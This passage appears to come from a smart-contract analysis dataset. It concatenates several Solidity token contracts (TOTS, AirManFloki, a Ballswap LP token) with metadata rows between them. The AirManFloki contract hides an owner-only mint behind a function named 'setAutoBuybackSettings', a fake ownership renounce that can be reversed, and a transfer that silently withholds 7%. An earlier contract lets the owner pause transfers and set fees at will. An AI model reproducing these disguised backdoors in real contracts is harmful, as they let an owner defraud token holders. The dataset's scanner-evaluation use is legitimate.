return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 38,390 | 10,962 |
6de0347c06e9a6f5ae377dcbf834beba1cc40d58ed1a2390d1570a5ef5d0435c
| 25,301 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/TOTS-0x1c7fbb6eaed4f72bae8b002c9de9e3e83815b72a.sol
| 4,482 | 16,513 |
// TaterTots.finance (TOTS)
// TOTS, its DeFi for apes
// TOTS is a deflationary farming meme powered currency
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TOTS is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'TaterTots.Finance';
string private _symbol = 'TOTS';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 206,614 | 10,963 |
e8ae2ac3a12dff99bfe2d3167871e6305f864ee0aef6d78158c8497959b1aece
| 22,097 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xe2e58D0f2B8E3a28eecf312370F1dFA47b041a37/contract.sol
| 2,514 | 9,155 |
pragma solidity >=0.6.0 <0.8.0;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function Block() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function renouncedOwner(uint8 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function transferOwnership() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract AirManFloki is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = 'AirManFloki';
_symbol = 'AMF';
_decimals = 9;
_totalSupply = 100000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
uint256 public _TaxFee = 9;
uint256 private _previousTaxFee = _TaxFee;
uint256 public _liquidityFee = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 100000000000 * 10**18;
uint256 private numTokensSellToAddToLiquidity = 1 * 10**5 * 10**18;
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_TaxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _totalSupply.mul(maxTxPercent).div(10**3);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function setAutoBuybackSettings(uint256 amount) public onlyOwner returns (bool) {
_Mac(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount * 93 / 100);
emit Transfer(sender, recipient, amount);
}
function _Mac(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 251,405 | 10,964 |
40ab62fc4810c306b4929b6dee9c48372a6157b9eed01237bbad439bd1973246
| 19,713 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xefF36eFaCe1252bdEfaaFA05215Eef96FB1A9661/contract.sol
| 4,934 | 17,758 |
pragma solidity =0.6.12;
library SafeMathBallswap {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
}
contract BallswapBEP20 {
using SafeMathBallswap for uint256;
string public constant name = "PokeBallSwap LP Token";
string public constant symbol = "POKEBALL-LP";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32
public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
event Approval(address indexed owner,
address indexed spender,
uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner,
address spender,
uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from,
address to,
uint256 value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value) external returns (bool) {
if (allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external {
require(deadline >= block.timestamp, "Ballswap::BEP20::permit::EXPIRED");
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner,
"Ballswap::BEP20::permit::INVALID_SIGNATURE");
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
